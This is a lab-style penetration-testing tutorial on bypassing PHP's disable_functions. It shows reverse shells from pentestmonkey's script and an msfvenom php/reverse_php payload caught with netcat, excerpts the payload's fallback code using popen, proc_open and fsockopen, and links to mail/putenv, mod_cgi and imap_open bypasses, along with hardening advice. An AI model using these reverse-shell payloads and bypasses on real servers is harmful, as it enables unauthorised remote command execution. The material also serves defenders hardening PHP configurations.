Bypassing Dangerous PHP Functions
system : immediately shows all output, and is used to show text
passthru: returns output immediately, but is used for binary data and is used for returning binary data instead of ascii.
shell_exec returns the full output of the command, when the command finished running.
exec: only returns the last line of the generated output.
Imagine that you found a file upload or Remote File Inclusion vulnerability where you can upload/request your php-reverse-shell and get a quick shell. However, it may be possible that administrator disabled all of the above php functions so let’s see these 4 dangerous php functions in action first before we jump to the other functions.
System
root@kali:~# cat system.php
<?php
system("whoami");
?>
root@kali:~#
root@kali:~# php system.php
root
root@kali:~#
Shell_exec
root@kali:~# cat shell_exec.php
<?php
echo shell_exec("whoami");
?>
root@kali:~# php shell_exec.php
root
root@kali:~#
Exec
root@kali:~# cat exec.php
<?php
echo exec("whoami");
?>
root@kali:~# php exec.php
root
root@kali:~#
Passthru
root@kali:~# cat pasthru.php
<?php
passthru("whoami");
?>
root@kali:~# php pasthru.php
root
root@kali:~#
Nice! We can run OS commands and get the output of the command. So what happens if we disable all of these 4 functions ? Disable dangerous php functions above from php.ini file under /etc/php/7.2/cli/php.ini and set display_errors to On.
If you are performing this exercise via your apache, you may need to disable them on /etc/php/7.2/apache2/php.ini . Let’s run the same php files again.
root@kali:~# php pasthru.php
PHP Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2
Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2
root@kali:~#
Please also note that we are receiving this error due to Display_errors= On feature. You can enable this feature on production environment but you need to disable it on live environment.
PHP-Reverse-Shell Pentestmonkey
We all know famous php-reverse-shell for linux from pentest-monkey. We can try to get a shell with the reverse shell above as it uses proc_open function.
root@kali:/usr/share/webshells/php# PHP Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
Successfully opened reverse shell to 127.0.0.1:1234
Listening the shell. We got the root shell
root@kali:/usr/share/webshells/php# nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49308
Linux kali 4.17.0-kali1-686 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) i686 GNU/Linux
15:08:16 up 1 day, 1:59, 1 user, load average: 0.08, 0.10, 0.09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root :1 :1 07:23 ?xdm? 1:39 0.01s /usr/lib/gdm3/gdm-x-session --run-script gnome-session
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
#
Proc_open
Disable proc_open function as well.
root@kali:/usr/share/webshells/php# php php-reverse-shell.php
PHP Notice: Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113
Notice: Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Warning: proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113
Warning: proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
ERROR: Can't spawn shell
root@kali:/usr/share/webshells/php#
Msfvenom PHP Shell
We can’t get a shell now. Let’s create a msfvenom php shell.
root@kali:/usr/share/webshells/php# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=443 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3046 bytes
root@kali:/usr/share/webshells/php#
root@kali:/usr/share/webshells/php# php shell.php
/*^
We can get a shell. How possible ?
root@kali:/usr/share/webshells/php# nc -lvp 443
listening on [any] 443 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43828
id
uid=0(root) gid=0(root) groups=0(root)
So we disabled bunch of dangerous php functions but we can still get a shell. We can go through the php code now:
if($rRMZDi('shell_exec')and!$WzjhDqn('shell_exec',$dis)){
...SNIP...
}else
if($rRMZDi('passthru')and!$WzjhDqn('passthru',$dis)){
...SNIP...
}else
if($rRMZDi('popen')and!$WzjhDqn('popen',$dis)){
...SNIP...
}else
if($rRMZDi('exec')and!$WzjhDqn('exec',$dis)){
...SNIP...
}else
if($rRMZDi('system')and!$WzjhDqn('system',$dis)){
...SNIP...
}else
if($rRMZDi('proc_open')and!$WzjhDqn('proc_open',$dis)){
$handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
...SNIP...
It looks interesting. We can see shell_exec, passthru, popen, exec, system and proc_open functions in the code from msfvenom. Let’s compare again these functions to our disable_function in php.ini . Popen seems interesting.
Popen
After disabling popen, I would be able to still get a shell and i noticed another line from the shell.php which is below:
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
$s=@fsockopen("tcp://127.0.0.1",$port);
while($c=fread($s,2048)){
...SNIP...
}else{
$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
@socket_connect($s,$ipaddr,$port);
@socket_write($s,"socket_create");
...SNIP...
Fsockopen and Socket_create
If no exec functions enabled, it uses fsockopen. I disabled fsockopen, socket_create as well as a result, I can’t get a shell now with shell.
Mail() and Putenv()
Here is a neat method which abuses of the mail() and putenv() functionality: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
You can download Chankro tool from the github and test it as well. It will work smoothly to bypass the disable_functions. In order to block this method, you also need to disable putenv() function.
Mod_cgi
Another method with mod_cgi: https://web.archive.org/web/20160708143917/https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/
Imap_open()
One of the latest bypassing disable_functions is using imap_open function. It looks really similar to mail() and putenv() bypass . Here you can find great explanation here: https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
In order to prevent imap_open bypass, you need to set imap.enable_insecure_rsh to 0. It is 0 as default but if you are in the test environment and want to play with the vulnerability, you can set it to 1 and see the behavior with strace tool in Linux.
Last updated